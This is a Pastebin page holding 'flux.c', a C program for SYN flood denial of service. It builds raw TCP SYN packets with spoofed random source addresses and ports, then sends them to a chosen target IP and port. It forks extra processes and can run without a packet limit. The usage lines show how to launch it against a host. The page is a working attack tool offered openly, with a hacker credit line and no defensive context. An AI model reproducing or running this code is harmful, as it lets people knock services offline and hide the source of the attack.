daily pastebin goal
72%
SHARE
TWEET

flux.c

wtfbbq Aug 21st, 2015 976 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <netinet/in.h>
  3. #include <netdb.h>
  4. #include <sys/time.h>
  5. #include <sys/types.h>
  6. #include <unistd.h>
  7. #include <stdlib.h>
  8. #include <signal.h>
  9. #include <time.h>
  10. void usage();                            
  11. void getUserPriv();                        
  12. int getSrcPort();                        
  13. const char credit[] = "made by th3 $^N|)M^N, gr33tz to all!!!";
  14. struct packet {
  15.   unsigned short ihl:4;
  16.   unsigned short ver:4;  
  17.   unsigned char tos;
  18.   unsigned short len;
  19.   unsigned short id;
  20.   unsigned short flag_offset;
  21.   unsigned char ttl;
  22.   unsigned char prot;
  23.   unsigned short ipsum;
  24.   unsigned long source;
  25.   unsigned long dest;
  26.   unsigned short sport;
  27.   unsigned short dport;
  28.   unsigned long seq;
  29.   unsigned long ack_seq;
  30.   unsigned char offset;
  31.   unsigned char flags;
  32.   unsigned short win;
  33.   unsigned short tcpsum;
  34.   unsigned short urgptr;
  35.   char option[8];    
  36. };
  37.  
  38. FILE *fp;
  39.  
  40. main(int argc, char * argv[]){
  41.    getUserPriv();        //check user priv
  42.  
  43.    if (argc < 5){
  44.        usage();    //exit if argument failure
  45.    }
  46.    int tmp = 1;
  47.    int forks = atoi(argv[3]);        
  48.  
  49.    /*forks defined here, depends on the number of threads user asked for.*/
  50.    for (tmp = 0; tmp < forks; tmp++) fork();
  51.  
  52.    int a1,a2,a3,a4;
  53.    char a1s[20],a2s[20],a3s[20],a4s[20];
  54.  
  55.    /*lets open da socket and define it be raw*/
  56.    int sockd = socket(PF_INET, SOCK_RAW, 6);
  57.  
  58.    /*call HDRINCL and let the kernel know we do the talking :)*/
  59.    if (setsockopt (sockd, IPPROTO_IP, IP_HDRINCL, (char *)&tmp, sizeof (tmp)) < 0){
  60.        printf("Error in setting HDRINCL");
  61.        exit(0);
  62.    }
  63.  
  64.    /*create packet struct */
  65.    struct packet synp;
  66.    bzero(&synp,sizeof(struct packet)); /*zero out the struct*/
  67.  
  68.    /*init sin struct*/
  69.    struct sockaddr_in sin;
  70.  
  71.    /*take host port and convert to unsigned short*/
  72.    unsigned short hport = atoi(argv[2]);
  73.    int packets = atoi(argv[4]);        //number of packets
  74.  
  75.    if (packets == 0) packets = -1;        //if user wants infinite, set packets to -1
  76.  
  77.    int counter = 0;  //counter for the while loop.
  78.      
  79.       printf("Syn Flooding: %­s at port: %­s\n", argv[1],argv[2]);
  80.      
  81.       while(counter != packets){
  82.        synp.ihl             = 5;
  83.        synp.ver         = 4;
  84.           synp.len             = htons(sizeof(struct packet));
  85.        synp.flag_offset     = 0;
  86.        synp.prot           = 6;
  87.        synp.flags           = 2;
  88.        synp.ttl             = 225;
  89.        synp.offset          = 112;
  90.        synp.win             = htons(65535);
  91.  
  92.           synp.dport        = htons(hport);        //destination port...
  93.      
  94.        //set packet options.
  95.        synp.option[0]          = 2;
  96.        synp.option[1]          = 4;
  97.        synp.option[2]          = 5;
  98.        synp.option[3]          = 0xB4;
  99.        synp.option[4]          = 1;
  100.        synp.option[5]          = 1;
  101.           synp.option[6]          = 4;
  102.           synp.option[7]          = 2;
  103.      
  104.           synp.tcpsum = 0;     //zero the sum for now...
  105.  
  106.           register int count = (sizeof(struct packet)-20) >> 1,sum;
  107.            register unsigned short *p = &synp.sport;  
  108.      
  109.           int srcp = getSrcPort();    //generate random port.
  110.          
  111.           //Generate Random Ip for src
  112.           a1 = (int)((rand()%(255-10+1)) + 10);
  113.        a2 = (int)((rand()%(255-10+1)) + 10);
  114.        a3 = (int)((rand()%(255-10+1)) + 10);
  115.        a4 = (int)((rand()%(255-10+1)) + 10);
  116.      
  117.        sprintf(a1s, "%d", a1);
  118.        sprintf(a2s, "%d", a2);
  119.        sprintf(a3s, "%d", a3);
  120.        sprintf(a4s, "%d", a4);
  121.      
  122.        strcat(a1s,".");
  123.        strcat(a2s,".");
  124.        strcat(a3s,".");
  125.        strcat(a1s,a2s);
  126.        strcat(a1s,a3s);
  127.        strcat(a1s,a4s);
  128.           //
  129.          
  130.           synp.sport           = htons(srcp);          //source port [RANDOMIZED]
  131.           synp.source            = inet_addr (a1s);       //our source address [RANDOMIZED]
  132.           synp.seq               = random();
  133.           synp.ack_seq           = random();
  134.          
  135.           synp.id                = htons(1+255*((random()%256)|0xFF));    //random id
  136.      
  137.        synp.dest = inet_addr (argv[1]);
  138.          
  139.        sin.sin_family = AF_INET;          /*define internet domain*/
  140.        sin.sin_port = synp.dport;          /*define dest port.*/
  141.        sin.sin_addr.s_addr = synp.dest;       /*define host address*/
  142.  
  143.        /*calc header checksum*/            
  144.            sum = (synp.source >> 16) + (synp.source & 0xffff) + (synp.dest >> 16) +
  145.            (synp.dest & 0xffff) + 1536 + htons(count << 1);
  146.           while(count--) sum += *p++;
  147.           sum = (sum >> 16) + (sum & 0xffff);
  148.           synp.tcpsum = ~(sum += (sum >> 16));
  149.        //
  150.          
  151.        /*Send da baby*/
  152.        if (sendto (sockd,&synp,sizeof(struct packet),0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in)) < 0){
  153.            printf("Sendto error!");
  154.            exit(0);
  155.        }
  156.      
  157.        counter = counter + 1;
  158.    }
  159. }
  160.  
  161. /*usage func*/
  162. void usage(){
  163.    printf("Usage:\n");
  164.    printf("./flux ip port threads amount_of_packets(0 = max)\n");
  165.    printf("./flux 111.222.333.444 80 3 500\n");
  166.    exit(0);
  167. }
  168.  
  169. /*user priv func, just checking for root.*/
  170. void getUserPriv(){
  171.    char command[80] = "whoami > priv";
  172.    char command2[80] = "rm priv";
  173.    char fname[30] = "priv";
  174.    char user[20];
  175.    system(command);
  176.  
  177.    fp = fopen(fname, "r");
  178.    fscanf(fp, "%­s",&user);
  179.    fclose(fp);
  180.    system(command2);
  181.  
  182.    if (strcmp(user,"root") == 1){
  183.        printf("Need root privelages to run...\n");
  184.        exit(0);
  185.    }
  186. }
  187. /*random port generator func. */
  188. int getSrcPort(){
  189.    int  port = (rand()%(60000-2000+1)) + 2000;
  190.    return port;
  191.    }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top